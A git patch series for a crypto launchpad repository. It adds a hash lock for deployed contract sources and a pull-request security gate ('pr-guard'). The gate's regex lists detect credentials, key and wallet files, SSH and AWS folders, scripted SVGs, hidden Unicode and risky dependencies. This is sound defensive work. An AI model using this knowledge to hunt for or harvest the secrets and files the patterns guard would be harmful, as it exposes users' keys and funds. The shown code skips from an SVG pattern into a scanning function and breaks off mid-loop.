From 220f612ab92323915ba57f30c74a54de290d438e Mon Sep 17 00:00:00 2001 From: Kevin Codex Date: Sun, 11 Oct 2026 12:26:01 +0800 Subject: [PATCH 1/7] contracts: deployed.lock pins the live sources; check-deployed-sources.sh fails on any drift The contracts on Base, Robinhood Chain and Arc are immutable and verified against the files in contracts/src. Until now only a convention kept those files unedited: check-arc-factory.sh compares the Arc copy with LaunchFactory.sol, so editing both together passed, and LaunchLocker.sol and LaunchToken.sol had no check at all. contracts/deployed.lock records a SHA-256 for each deployed source, the Arc diff, foundry.toml, remappings.txt, the three deployment records and .gitmodules, plus the commit each library submodule is pinned to. Before pinning, every source file (libraries included, 57 of 57) was compared with the exact-match verified source on Sourcify for the live factory and locker on all three chains; the settings match too (solc 0.8.26, 200 runs, via-IR, cancun). script/check-deployed-sources.sh checks the lock, including that each checked-out library is at its pinned commit, and rewrites it with --update when a new contract goes live. --- contracts/deployed.lock | 22 +++++++++ contracts/script/check-deployed-sources.sh | 52 ++++++++++++++++++++++ 2 files changed, 74 insertions(+) create mode 100644 contracts/deployed.lock create mode 100755 contracts/script/check-deployed-sources.sh diff --git a/contracts/deployed.lock b/contracts/deployed.lock new file mode 100644 index 00000000..04dbcb28 --- /dev/null +++ b/contracts/deployed.lock @@ -0,0 +1,22 @@ +# Deployed contract sources, and everything that decides their bytecode. These files stay byte-identical to what is live. +# +# contracts/src and the pinned libraries were compared with the exact-match verified source on Sourcify for Base (8453), +# Robinhood Chain (4663) and Arc (5042) on 2026-10-11: every source file identical, solc 0.8.26, optimizer 200 runs, via-IR, +# cancun. +# +# A change for another chain is a new copied file, never an edit (src/LaunchFactoryArc.sol is the pattern). A contract that +# goes live is added here with: contracts/script/check-deployed-sources.sh --update +# CI runs the same script without arguments, and the pull request guard refuses any change to a path listed here. +sha256 1b9e3dc7a32975db40bbdfe9ce3dd0be679ce187a5a4037597d583be1a615215 contracts/src/LaunchFactory.sol +sha256 ed49094964c189ac8b42aa34f2c2cce5b0c0430f2c7278c16b2785ae25c49789 contracts/src/LaunchFactoryArc.sol +sha256 e394dcba3d27cf1ecff39f4ee0da5ef36346795163bc938aa0ad045a4db68fb9 contracts/src/LaunchLocker.sol +sha256 d5a6481e74e890232d99d9079f1df9cbdedeee4f4b6d9b0fe434586092258765 contracts/src/LaunchToken.sol +sha256 cae205b3fe08f484af012412ae4db540b3ca60118f32eed6bb15d228f8f0655f contracts/docs/LaunchFactoryArc.diff +sha256 341d960dac7e913296719d5a87bd9cd7f1a1217cfb7c3aeb36226bc6c0e8cbff contracts/foundry.toml +sha256 34d5dcb81a28ea5643b761a188b3a30323bcf9068cdcf139bd06b3a9753e3bec contracts/remappings.txt +sha256 ead32adedb4800c3dbb07e312d558696780d55a4f11751a32fe0001f8269c0d0 contracts/deployments/launchpad-arc.json +sha256 771d778fc16d42362623e65048dcc4b93f2b72a6c45b13a15df3db13b02675ed contracts/deployments/launchpad-base.json +sha256 924b0a14b5c1d42a240c99a99106e1ebc460027f5541fa7ca1648ed953812bdd contracts/deployments/launchpad-robinhood.json +sha256 749fcc571c1a79f57ad7ea1e45c287abdeb021b6d0fa014ecb7005265a8742e3 .gitmodules +gitlink 886b4f8b63409ef474542de6394d25a9b5908ed3 contracts/lib/forge-std +gitlink 07336f2144f522874e2c3c85e04d1d3f8d5fa471 contracts/lib/v4-periphery diff --git a/contracts/script/check-deployed-sources.sh b/contracts/script/check-deployed-sources.sh new file mode 100755 index 00000000..b1c03ca3 --- /dev/null +++ b/contracts/script/check-deployed-sources.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +# The deployed contract sources, their build settings and the pinned libraries must match contracts/deployed.lock byte for +# byte. Fails on any drift. Run from anywhere. +# script/check-deployed-sources.sh check +# script/check-deployed-sources.sh --update [path…] rewrite the hashes; extra paths (from the repo root) are added +set -euo pipefail +cd "$(dirname "$0")/../.." +lock=contracts/deployed.lock + +sha() { if command -v sha256sum >/dev/null 2>&1; then sha256sum "$1"; else shasum -a 256 "$1"; fi | cut -d' ' -f1; } +gitlink() { git ls-files -s -- "$1" | awk '$1 == "160000" { print $2 }'; } +current() { # kind path -> the value the lock should hold, empty when the path is gone + if [[ "$1" == gitlink ]]; then gitlink "$2"; elif [[ -f "$2" && ! -L "$2" ]]; then sha "$2"; fi +} + +if [[ "${1:-}" == "--update" ]]; then + shift + tmp=$(mktemp) + grep -E '^(#|$)' "$lock" > "$tmp" || true + { grep -E '^(sha256|gitlink) ' "$lock" | awk '{ print $1, $3 }' + for extra in "$@"; do + if [[ -n "$(gitlink "$extra")" ]]; then echo "gitlink $extra"; else echo "sha256 $extra"; fi + done + } | awk '!seen[$2]++' | while read -r kind path; do + value=$(current "$kind" "$path") + [[ -n "$value" ]] || { echo "cannot lock $path: not a tracked file or submodule" >&2; exit 1; } + printf '%s %s %s\n' "$kind" "$value" "$path" + done >> "$tmp" + mv "$tmp" "$lock"; echo "updated $lock"; exit 0 +fi + +failed=0; checked=0 +while read -r kind want path; do + [[ "$kind" == sha256 || "$kind" == gitlink ]] || continue + checked=$((checked + 1)) + got=$(current "$kind" "$path") + if [[ "$got" != "$want" ]]; then + echo "DRIFT $path: locked $kind ${want:0:12}…, found ${got:-nothing}"; failed=1; continue + fi + # the library that gets compiled is the checked-out one, so it has to be the pinned commit too + if [[ "$kind" == gitlink && -e "$path/.git" ]]; then + out=$(git -C "$path" rev-parse HEAD) + [[ "$out" == "$want" ]] || { echo "DRIFT $path: checked out at ${out:0:12}…, pinned at ${want:0:12}… (git submodule update)"; failed=1; } + fi +done < "$lock" + +if [[ "$checked" -eq 0 ]]; then echo "$lock lists nothing to check"; exit 1; fi +if [[ "$failed" -ne 0 ]]; then + echo "Deployed contract files are never edited. A change for another chain goes in a new copied file (see src/LaunchFactoryArc.sol)." + exit 1 +fi +echo "ok: $checked deployed contract files and library pins match $lock" From 7265d164b4aa1c41d07d184e7ce65119776183bc Mon Sep 17 00:00:00 2001 From: Kevin Codex Date: Sun, 11 Oct 2026 12:26:01 +0800 Subject: [PATCH 2/7] ci: pr-guard, a security gate for pull requests; actions and Foundry pinned This is a public repository for a wallet-connected app, and until now a pull request could edit the workflow that judged it (ci.yml runs on pull_request, from the pull request's own copy). pr-guard runs on pull_request_target, so main's copy of the workflow and of .github/scripts/pr-guard.mjs judges every pull request. It has a read-only token and no secrets, and it never checks out, installs or runs anything from the pull request: the head commit is fetched as git objects and only read. The script uses Node built-ins only. Blocked for everyone, owners included (merging takes an admin bypass): a change to any path in contracts/deployed.lock or under contracts/lib, anything under .github, submodule changes, symlinks, lockfile entries that are not the package's own registry tarball with a sha512 hash, new install-time scripts, dependencies from git, URLs, folders or aliases, credentials and key files, invisible or direction-changing Unicode, binaries that are not real images or fonts, scripted SVGs, editor, agent and git-hook configuration, package manager configuration, and paths that collide by letter case. Needs an owner's approval of the exact head commit (a notice on an owner's own pull request): new files under contracts, dependency and npm script changes, on-chain addresses, wallet calls, hosts and environment variables the repository has not used, code execution and raw HTML, removed signature, nonce or rate-limit checks, security headers and served static files, build, deploy and migration files, the license and security policy, and content that cannot be read by eye. A push after the approval needs a new one. ci.yml: actions pinned to the commits their tags point to today (checkout v4.4.0, setup-node v4.4.0, foundry-toolchain v1.9.1) and Foundry to v1.5.1, which is what "stable" resolves to; the contracts job runs the lock check; a guard job runs the guard's 113 tests on the image the guard itself uses; a deps job verifies npm registry signatures and audits production dependencies. The guard takes effect once this is on main and "pr-guard" is a required status check in the branch rules. --- .github/CODEOWNERS | 11 + .github/scripts/pr-guard.mjs | 739 +++++++++++++++++++++++++ .github/scripts/pr-guard.test.mjs | 853 +++++++++++++++++++++++++++++ .github/scripts/workflows.test.mjs | 119 ++++ .github/workflows/ci.yml | 47 +- .github/workflows/pr-guard.yml | 54 ++ CONTRIBUTING.md | 37 +- 7 files changed, 1855 insertions(+), 5 deletions(-) create mode 100644 .github/CODEOWNERS create mode 100644 .github/scripts/pr-guard.mjs create mode 100644 .github/scripts/pr-guard.test.mjs create mode 100644 .github/scripts/workflows.test.mjs create mode 100644 .github/workflows/pr-guard.yml diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000..eeddb165 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,11 @@ +# Review is requested from the owner automatically when a pull request touches these paths. The pr-guard workflow is +# what enforces it (.github/scripts/pr-guard.mjs); keep OWNERS there and the names here the same. + +/contracts/ @kevincodex1 +/.github/ @kevincodex1 +/.gitmodules @kevincodex1 +/app/package.json @kevincodex1 +/app/package-lock.json @kevincodex1 +/app/.npmrc @kevincodex1 +/SECURITY.md @kevincodex1 +/LICENSE @kevincodex1 diff --git a/.github/scripts/pr-guard.mjs b/.github/scripts/pr-guard.mjs new file mode 100644 index 00000000..921701d5 --- /dev/null +++ b/.github/scripts/pr-guard.mjs @@ -0,0 +1,739 @@ +#!/usr/bin/env node +// pr-guard: the security gate for pull requests into main (.github/workflows/pr-guard.yml). +// +// It runs from main's copy of this file (pull_request_target) with a read-only token, and it reads the pull request only as +// git objects: nothing from the pull request is checked out, installed or executed here. Node built-ins only, so the guard +// has no dependencies of its own to trust. +// +// Two kinds of finding: +// block red for everyone, the owners included. Merging takes a deliberate admin bypass. +// review red until an owner approves the exact head commit with a pull request review (then re-run the job). On an +// owner's own pull request it is a notice. +// +// Findings name the matched token (an address, a host, a function), never the whole line, and never a secret's value. +// +// Local replay: node .github/scripts/pr-guard.mjs --base --head [--author ] [--sender ] [--approved] [--json] + +import { execFileSync } from "node:child_process"; +import { appendFileSync, readFileSync } from "node:fs"; +import { resolve } from "node:path"; +import { pathToFileURL } from "node:url"; + +/** Logins whose approval counts, and whose own pull requests turn "review" findings into notices. */ +export const OWNERS = ["kevincodex1"]; + +export const LOCK_PATH = "contracts/deployed.lock"; +/** Locked whether or not the lock lists them: the lock, the scripts that check it, and the submodule table. */ +const ALWAYS_LOCKED = [LOCK_PATH, "contracts/script/check-deployed-sources.sh", "contracts/script/check-arc-factory.sh", ".gitmodules"]; +/** The library folder is locked as a whole: a new folder beside the pinned submodules could stand in for an import. */ +const LOCKED_FOLDER = "contracts/lib/"; + +const MAX_SCAN_FILES = 1500; +const MAX_TEXT_BYTES = 2_000_000; +const MAX_BLOB_BYTES = 25_000_000; +const MAX_LINE = 2000; +const MAX_FINDINGS_PER_FILE = 200; + +export const RULES = { + "contract-locked": { tier: "block", title: "Deployed contract files changed", help: "These files are pinned in contracts/deployed.lock and stay byte-identical to what is live. A change for another chain goes in a new copied file (see contracts/src/LaunchFactoryArc.sol)." }, + "ci-config": { tier: "block", title: "CI, the guard or code owners changed", help: "Workflow and guard changes come from the maintainers, in a pull request of their own." }, + "dev-machine": { tier: "block", title: "Editor, agent or git hook configuration", help: "These files can run commands or steer an AI agent on a maintainer's machine the moment the branch is checked out. The repository tracks none of them." }, + "registry-config": { tier: "block", title: "Package manager configuration", help: "A registry, proxy or script setting here redirects every install." }, + "secret-file": { tier: "block", title: "A file that holds keys or wallet material", help: "Environment files, key files and wallet files are never committed. If this was real, rotate it now: the branch is public." }, + secret: { tier: "block", title: "A credential in the diff", help: "Remove it from the branch history and rotate it now: the branch is public. The value is not repeated here." }, + submodule: { tier: "block", title: "Submodule added or re-pinned", help: "The pinned libraries decide the contract bytecode and run in CI." }, + symlink: { tier: "block", title: "Symbolic link", help: "A link can point outside the repository or stand in for a file the guard would otherwise read." }, + "hidden-unicode": { tier: "block", title: "Invisible or direction-changing characters", help: "They make code read differently from what runs. Write the character as a \\u escape so it shows in review." }, + binary: { tier: "block", title: "A binary that is not a plain image or font", help: "It cannot be reviewed as text. Images and fonts must be real files of the type their name says." }, + "svg-active": { tier: "block", title: "An SVG that carries script", help: "A scripted SVG served from the site runs with the site's origin." }, + lockfile: { tier: "block", title: "Lockfile entry outside the npm registry", help: "Every package resolves to https://registry.npmjs.org with a sha512 integrity hash, under its own name and version." }, + "install-script": { tier: "block", title: "A new script that runs at install time", help: "Install scripts run on every maintainer machine, in CI and in the production image build." }, + "dependency-source": { tier: "block", title: "A dependency that does not come from the npm registry", help: "Git, URL, file and aliased dependencies skip the registry's integrity checks." }, + "case-collision": { tier: "block", title: "A path that differs from an existing one only by letter case", help: "On macOS and Windows the two overwrite each other at checkout." }, + "odd-path": { tier: "block", title: "A file name with control or invisible characters", help: "Rename the file with plain characters." }, + + contracts: { tier: "review", title: "Contracts folder", help: "New contract sources, tests, scripts and deployment records are read by an owner before they merge." }, + "contract-rules": { tier: "review", title: "Owner, pause, upgrade or fee switch in a contract", help: "CONTRIBUTING.md: no fee, no owner, no admin. Contracts that add one are not merged." }, + dependencies: { tier: "review", title: "Dependencies or npm scripts", help: "New packages are checked for who publishes them and why they are needed." }, + address: { tier: "review", title: "On-chain address", help: "Addresses decide where funds and approvals go. Each one is checked against its source." }, + "wallet-call": { tier: "review", title: "Wallet signing or sending", help: "Code that asks a wallet to sign, approve or send." }, + "new-host": { tier: "review", title: "A host the repository has not used before", help: "New network destinations and links." }, + "new-env": { tier: "review", title: "A new environment variable", help: "New configuration the deployment has to carry, or new access to existing secrets." }, + "dangerous-code": { tier: "review", title: "Code execution, raw HTML or shell", help: "Patterns that run code, inject markup, start processes or decode hidden text." }, + "auth-removed": { tier: "review", title: "A security check was removed", help: "Signature, nonce, rate limit or validation calls that the change drops." }, + "security-config": { tier: "review", title: "Security headers, proxy or files served as the site", help: "The Content-Security-Policy, the request proxy, the Next.js configuration, and static pages, scripts or .well-known files that run as, or vouch for, the site's origin." }, + "build-deploy": { tier: "review", title: "Build, deploy, database or script files", help: "Files that run during the build, the deploy or a migration against the production database." }, + policy: { tier: "review", title: "License or security policy", help: "The security contact and the license are changed by the maintainers." }, + "git-config": { tier: "review", title: "Git attributes", help: "Attributes change how files are diffed, merged and exported." }, + opaque: { tier: "review", title: "Content that cannot be read by eye", help: "Very long lines, encoded blobs and obfuscated names." }, + media: { tier: "review", title: "Audio, video or PDF", help: "It cannot be reviewed as text." }, + unscanned: { tier: "review", title: "Not scanned", help: "The guard could not read this, so a person has to." }, +}; + +// ---------- path rules ---------- + +const BLOCK_PATHS = [ + ["ci-config", /^\.github\/|^(docs\/)?CODEOWNERS$/i], + ["dev-machine", /(^|\/)\.(claude|cursor|codex|gemini|windsurf|continue|aider[^/]*|vscode|idea|devcontainer|husky|githooks)(\/|$)|(^|\/)(CLAUDE|AGENTS|GEMINI)\.md$|(^|\/)(\.cursorrules|\.clinerules|\.windsurfrules|\.mcp\.json|\.envrc|\.pre-commit-config\.ya?ml|\.?lefthook\.ya?ml|\.?mise(\.[^/]*)?\.toml)$/i], + ["registry-config", /(^|\/)(\.npmrc|\.yarnrc(\.yml)?|\.pnpmfile\.cjs|pnpm-workspace\.yaml|bunfig\.toml)$/i], +]; +/** Added or modified only: deleting one of these is fine. */ +const SECRET_FILE = /(^|\/)\.env(\.(?!example$)[^/]*)?$|\.(pem|p12|pfx|jks|keystore|key|address)$|(^|\/)id_(rsa|dsa|ecdsa|ed25519)$|(^|\/)(\.netrc|\.git-credentials)$|(^|\/)\.(aws|ssh|gnupg)\/|(^|\/)keystores?\/|(^|\/)(wallet|mnemonic|secrets?)[^/]*\.(json|txt|dat|ya?ml|toml|env)$/i; + +const REVIEW_PATHS = [ + ["contracts", /^contracts\//], + ["security-config", /^app\/src\/(proxy|middleware|instrumentation)\.[cm]?[jt]s$|^app\/src\/lib\/(security-headers|rpc-proxy)\.ts$|^app\/next\.config\.[cm]?[jt]s$|^app\/public\/.*\.(html?|xhtml|xml|[cm]?js|webmanifest)$|^app\/(public|src\/app)\/\.well-known\//], + ["policy", /^(LICENSE[^/]*|SECURITY\.md)$/i], + ["git-config", /(^|\/)\.gitattributes$/], + ["build-deploy", /(^|\/)(Dockerfile[^/]*|\.dockerignore|docker-compose[^/]*\.ya?ml|fly[^/]*\.toml|vercel\.json|Makefile|Procfile)$|^app\/(scripts|db)\/|^app\/(postcss|eslint)\.config\.[cm]?[jt]s$|^app\/tsconfig[^/]*\.json$|^app\/\.env\.example$|\.(sh|bash|zsh|py|rb|pl|ps1|bat|cmd)$/i], +]; + +const MANIFEST = /(^|\/)package\.json$/; +const NPM_LOCK = /(^|\/)(package-lock|npm-shrinkwrap)\.json$/; +const OTHER_LOCK = /(^|\/)(yarn\.lock|pnpm-lock\.yaml|bun\.lockb?|deno\.lock)$/; + +/** Named as a test. App code that imports one of these is flagged, so nothing that ships can hide here. */ +const isTest = (p) => /\.(test|spec)\.[cm]?[jt]sx?$|\.t\.sol$|^contracts\/test\//.test(p); +/** Everything that is not plainly prose is read as code, whatever its extension. */ +const isCode = (p) => !/\.(md|markdown|txt|rst|adoc|csv|tsv|diff|patch)$/i.test(p) && !/(^|\/)(LICENSE|NOTICE|AUTHORS)[^/]*$/.test(p); +const ext = (p) => (/\.([A-Za-z0-9]+)$/.exec(p)?.[1] ?? "").toLowerCase(); + +// ---------- content rules ---------- + +const ascii = (b, from, to) => b.subarray(from, to).toString("latin1"); +/** Images and fonts may be binary, when the bytes are what the name says. */ +const MAGIC = { + png: (b) => ascii(b, 0, 8) === "\x89PNG\r\n\x1a\n", + jpg: (b) => b[0] === 0xff && b[1] === 0xd8 && b[2] === 0xff, + jpeg: (b) => b[0] === 0xff && b[1] === 0xd8 && b[2] === 0xff, + gif: (b) => /^GIF8[79]a$/.test(ascii(b, 0, 6)), + webp: (b) => ascii(b, 0, 4) === "RIFF" && ascii(b, 8, 12) === "WEBP", + avif: (b) => ascii(b, 4, 8) === "ftyp" && /^(avif|avis|mif1)$/.test(ascii(b, 8, 12)), + ico: (b) => b[0] === 0 && b[1] === 0 && b[2] === 1 && b[3] === 0, + woff: (b) => ascii(b, 0, 4) === "wOFF", + woff2: (b) => ascii(b, 0, 4) === "wOF2", +}; +const MEDIA = /\.(mp4|webm|mov|mp3|wav|ogg|m4a|pdf)$/i; + +/** This machine, and the names reserved for documentation and tests. */ +const LOCAL_HOST = /^(localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\]|([a-z0-9-]+\.)*example\.(com|org|net)|([a-z0-9-]+\.)*(localhost|test|invalid|example))$/; +const PLACEHOLDER_PASSWORD = /^(pass(word)?|pw|secret|changeme|example|x{3,}|\*{3,}|\.{3}|your[-_]?\w*|<[^>]*>|\[[^\]]*\]|\$\{?\w+\}?)$/i; + +/** [what it is, pattern, optional check on the match]. The value is never reported. */ +const SECRETS = [ + ["a private key block", /-----BEGIN [A-Z0-9 ]*PRIVATE KEY( BLOCK)?-----/], + ["a raw private key or seed", /(?:private[\s_-]?key|priv[\s_-]?key|secret[\s_-]?key|deployer[\s_-]?key|signer[\s_-]?key|\bsecret\b|\bseed\b|\bpk\b)[^\n]{0,40}?\b(?:0x)?[0-9a-f]{64}\b/i], + ["a recovery phrase", /(?:mnemonic|seed[\s_-]?phrase|recovery[\s_-]?phrase)\W{1,8}((?:[a-z]{3,8}\s+){11,23}[a-z]{3,8})\b/i, (m) => !/^(test\s+){11}junk$/i.test(m[1].trim())], + ["an AWS access key", /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/], + ["a GitHub token", /\b(?:gh[pousr]_[A-Za-z0-9]{36,}|github_pat_[A-Za-z0-9_]{50,})\b/], + ["an npm token", /\bnpm_[A-Za-z0-9]{36}\b/], + ["a Slack token", /\bxox[abprs]-[A-Za-z0-9-]{10,}\b/], + ["an API secret key", /\b(?:sk|rk)[-_](?:ant-|proj-|live_|test_)[A-Za-z0-9_-]{20,}\b/], + ["a Google API key", /\bAIza[0-9A-Za-z_-]{35}\b/], + ["a Fly.io token", /\bFlyV1\s+fm\d_[A-Za-z0-9+/=_-]{20,}/], + ["a Telegram bot token", /\b\d{8,10}:AA[A-Za-z0-9_-]{33}\b/], + ["a signed token (JWT)", /\beyJ[A-Za-z0-9_-]{15,}\.eyJ[A-Za-z0-9_-]{15,}\.[A-Za-z0-9_-]{10,}/], + ["an RPC URL with its key", /(?:alchemy\.com\/v2\/|infura\.io\/v3\/|quiknode\.pro\/|blastapi\.io\/|ankr\.com\/[a-z_]+\/)[A-Za-z0-9_-]{20,}/i], + ["a database URL with its password", /\b(?:postgres(?:ql)?|mysql|mongodb(?:\+srv)?|redis|amqp)s?:\/\/[^\s:@/]+:([^\s@/]{3,})@([^\s/:?"'`]+)/i, (m) => !PLACEHOLDER_PASSWORD.test(m[1]) && !LOCAL_HOST.test(m[2].toLowerCase())], +]; + +const BIDI = /[\u061C\u200E\u200F\u202A-\u202E\u2066-\u2069]/u; +const INVISIBLE = /[\u00AD\u034F\u115F\u1160\u17B4\u17B5\u180B-\u180E\u200B\u200C\u2028\u2029\u2060-\u2064\u206A-\u206F\u3164\uFFA0\u{E0000}-\u{E007F}\u{E0100}-\u{E01EF}]/u; +const CONTROL = /[\u0000-\u0008\u000B\u000C\u000E-\u001F\u007F-\u009F]/; +const EMOJI_BEFORE = /[\p{Extended_Pictographic}\uFE0F\u{1F3FB}-\u{1F3FF}]$/u; +const EMOJI_AFTER = /^\p{Extended_Pictographic}/u; + +/** What is hidden in this text, or null. A joiner is fine inside an emoji sequence; a byte order mark only at the very start of a file. */ +export function hiddenCharacter(text, atFileStart = false) { + if (BIDI.test(text)) return "a text direction control"; + if (INVISIBLE.test(text)) return "an invisible character"; + if (CONTROL.test(text)) return "a control character"; + for (let i = text.indexOf("\u200D"); i !== -1; i = text.indexOf("\u200D", i + 1)) { + if (!EMOJI_BEFORE.test(text.slice(Math.max(0, i - 2), i)) || !EMOJI_AFTER.test(text.slice(i + 1, i + 3))) return "a zero-width joiner outside an emoji"; + } + const mark = text.indexOf("\uFEFF"); + if (mark > 0 || (mark === 0 && !atFileStart) || text.indexOf("\uFEFF", 1) > 0) return "a byte order mark inside the file"; + return null; +} + +const SVG_ACTIVE = /<(?:script|foreignObject|iframe|embed|object)\b|\son[a-z]+\s*=|javascript:|<\?xml-stylesheet| out.push({ rule, path, detail, line }); + const code = isCode(path), test = isTest(path), svg = ext(path) === "svg"; + const contractSource = /^contracts\/(src|script)\/.*\.sol$/.test(path); + + for (const { n, text } of added) { + const hidden = hiddenCharacter(text, n === 1); + if (hidden) add("hidden-unicode", hidden, n); + for (const [what, re, check] of SECRETS) { + const m = re.exec(text); + if (m && (!check || check(m))) add("secret", what, n); + } + if (svg && SVG_ACTIVE.test(text)) add("svg-active", "script, event handler or embedded document", n); + if (text.length > MAX_LINE * 5) { add("opaque", `a line of ${text.length} characters, too long to match against the rules`, n); continue; } + + for (const m of text.matchAll(URL_RE)) { + const host = hostOf(m[1]); + if (host && !LOCAL_HOST.test(host) && !facts.hosts.has(host)) add("new-host", host, n); + } + if (!test) { + for (const [address] of text.matchAll(ADDRESS)) { + const lower = address.toLowerCase(); + if (!SENTINELS.has(lower)) add("address", `${address} (${facts.addresses.has(lower) ? "already in the repository" : "new to the repository"})`, n); + } + } + if (text.length > MAX_LINE && code) add("opaque", `a line of ${text.length} characters`, n); + for (const [what, re] of OPAQUE) if (re.test(text)) add("opaque", what, n); + + if (code && !svg) for (const [what, re, only] of DANGEROUS) if ((!only || only.test(path)) && re.test(text)) add("dangerous-code", what, n); + if (code && !test) { + if (TEST_IMPORT.test(text)) add("dangerous-code", "app code importing a test file", n); + for (const [call] of text.matchAll(WALLET)) add("wallet-call", call.replace(/\s+/g, " "), n); + for (const m of text.matchAll(ENV_RE)) { + const name = m[1] ?? m[2] ?? m[3]; + if (!facts.env.has(name)) add("new-env", name, n); + } + } + if (contractSource && !/^\s*(\/\/|\/\*|\*)/.test(text)) for (const [word] of text.matchAll(CONTRACT_RULES)) add("contract-rules", word, n); + } + + if (code && !test && removed.length > 0) { + const tally = (lines) => { + const counts = new Map(); + for (const text of lines) for (const [name] of text.matchAll(AUTH)) counts.set(name, (counts.get(name) ?? 0) + 1); + return counts; + }; + const kept = tally(added.map((l) => l.text)); + for (const [name, gone] of tally(removed)) { + const net = gone - (kept.get(name) ?? 0); + if (net > 0) add("auth-removed", `${name}: ${net} fewer ${net === 1 ? "use" : "uses"}`, null); + } + } + return out; +} + +/** Findings for a file's bytes: null when the file is text to scan line by line, otherwise the findings (possibly none). */ +export function scanBytes(path, bytes) { + const type = ext(path); + if (MAGIC[type]) return MAGIC[type](bytes) ? [] : [{ rule: "binary", path, detail: `is not a real .${type} file`, line: null }]; + if (!bytes.subarray(0, 8000).includes(0)) return null; + if (MEDIA.test(path)) return [{ rule: "media", path, detail: `${Math.ceil(bytes.length / 1024)} KB`, line: null }]; + return [{ rule: "binary", path, detail: "binary content", line: null }]; +} + +// ---------- dependencies ---------- + +const LIFECYCLE = new Set(["preinstall", "install", "postinstall", "prepublish", "preprepare", "prepare", "postprepare", "prepack", "postpack", "dependencies"]); +const DEP_FIELDS = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies", "overrides", "resolutions"]; +const OFF_REGISTRY = /^(git|git\+\w+|https?|file|link|github|gitlab|bitbucket|gist|workspace|npm|portal|patch):|:\/\/|^[\w.-]+\/[\w.-]+(#.*)?$/i; + +const parseJson = (text) => { + if (text === null) return {}; + try { + const value = JSON.parse(text); + return value && typeof value === "object" && !Array.isArray(value) ? value : null; + } catch { + return null; + } +}; +/** { "name" or "parent > name": spec } for a dependency field, overrides flattened. */ +function flatten(field, prefix = "") { + const out = {}; + for (const [name, spec] of Object.entries(field ?? {})) { + const key = prefix ? `${prefix} > ${name}` : name; + if (spec && typeof spec === "object") Object.assign(out, flatten(spec, key)); + else out[key] = String(spec); + } + return out; +} + +/** package.json at the head against the base (null when the file is new). */ +export function lintManifest(path, headText, baseText) { + const out = []; + const add = (rule, detail) => out.push({ rule, path, detail, line: null }); + const head = parseJson(headText), base = parseJson(baseText); + if (!head) return [{ rule: "dependency-source", path, detail: "is not a valid package.json", line: null }]; + if (baseText === null) add("dependencies", "a new package manifest"); + + const before = base?.scripts ?? {}, after = head.scripts ?? {}; + for (const [name, command] of Object.entries(after)) { + const had = Object.hasOwn(before, name); + if (had && before[name] === command) continue; + if (LIFECYCLE.has(name)) add("install-script", `the "${name}" script runs at install time`); + else add("dependencies", `npm script "${name}" ${had ? "changed" : "added"}`); + } + for (const name of Object.keys(before)) if (!Object.hasOwn(after, name)) add("dependencies", `npm script "${name}" removed`); + + for (const field of DEP_FIELDS) { + const now = flatten(head[field]), was = flatten(base?.[field]); + for (const [name, spec] of Object.entries(now)) { + const had = Object.hasOwn(was, name); + if (had && was[name] === spec) continue; + if (OFF_REGISTRY.test(spec)) add("dependency-source", `${name} comes from "${spec}"`); + else add("dependencies", had ? `${name} ${was[name]} → ${spec}` : `${name} ${spec} added (${field})`); + } + for (const name of Object.keys(was)) if (!Object.hasOwn(now, name)) add("dependencies", `${name} removed (${field})`); + } + const other = [...new Set([...Object.keys(head), ...Object.keys(base ?? {})])].filter( + (key) => key !== "scripts" && !DEP_FIELDS.includes(key) && JSON.stringify(head[key]) !== JSON.stringify(base?.[key]), + ); + if (baseText !== null && other.length > 0) add("dependencies", `other fields changed: ${other.join(", ")}`); + return out; +} + +/** package-lock.json at the head against the base: every entry from the registry, by its own name, with a sha512 hash. */ +export function lintNpmLock(path, headText, baseText) { + const out = []; + const add = (rule, detail) => out.push({ rule, path, detail, line: null }); + const head = parseJson(headText), base = parseJson(baseText); + if (!head || typeof head.packages !== "object" || head.packages === null) { + return [{ rule: "lockfile", path, detail: "is not a lockfile the guard can read (lockfileVersion 3 with a packages table)", line: null }]; + } + const before = base?.packages ?? {}; + const added = [], changed = []; + for (const [key, entry] of Object.entries(head.packages)) { + if (key === "") continue; + if (!entry || typeof entry !== "object") { add("lockfile", `${key}: unreadable entry`); continue; } + const name = key.split("node_modules/").pop(); + const label = entry.version ? `${name}@${entry.version}` : name; + if (!key.startsWith("node_modules/") && !key.includes("/node_modules/")) add("lockfile", `${key}: a package outside node_modules`); + else if (entry.link) add("lockfile", `${name}: a link to a local folder`); + else if (entry.inBundle) add("lockfile", `${label}: bundled inside another package, with no hash of its own`); + else if (entry.name && entry.name !== name) add("lockfile", `${name} is an alias for ${entry.name}`); + else { + const tarball = `https://registry.npmjs.org/${name}/-/${name.split("/").pop()}-${entry.version}.tgz`; + if (entry.resolved !== tarball) add("lockfile", `${label} does not resolve to its own registry tarball`); + if (typeof entry.integrity !== "string" || !/^sha512-[A-Za-z0-9+/]{86}==$/.test(entry.integrity)) add("lockfile", `${label} has no sha512 integrity hash`); + } + const was = Object.hasOwn(before, key) ? before[key] : null; + if (!was) added.push(label); + else if (was.version !== entry.version || was.resolved !== entry.resolved || was.integrity !== entry.integrity) changed.push(label); + if (entry.hasInstallScript && !Object.entries(before).some(([k, e]) => e?.hasInstallScript && k.split("node_modules/").pop() === name)) { + add("install-script", `${label} runs a script at install time`); + } + } + const removed = Object.keys(before).filter((key) => key !== "" && !Object.hasOwn(head.packages, key)); + const sample = (list) => list.slice(0, 12).join(", ") + (list.length > 12 ? `, and ${list.length - 12} more` : ""); + if (added.length > 0) add("dependencies", `${added.length} ${added.length === 1 ? "package" : "packages"} added: ${sample(added)}`); + if (changed.length > 0) add("dependencies", `${changed.length} changed: ${sample(changed)}`); + if (removed.length > 0) add("dependencies", `${removed.length} removed`); + if (out.length === 0) add("dependencies", "lockfile metadata changed"); + return out; +} + +// ---------- the pull request as git objects ---------- + +/** Paths the lock pins, plus the files that guard the lock itself. */ +export function parseLock(text) { + const paths = new Set(ALWAYS_LOCKED); + for (const line of text.split("\n")) { + const m = /^(?:sha256 [0-9a-f]{64}|gitlink [0-9a-f]{40})\s+(\S+)$/.exec(line); + if (m) paths.add(m[1]); + } + return paths; +} + +/** `git diff-tree -r -z` output to [{ status, path, oldMode, newMode, oldSha, newSha }]. */ +export function parseRaw(raw) { + const parts = raw.split("\0"); + const changes = []; + for (let i = 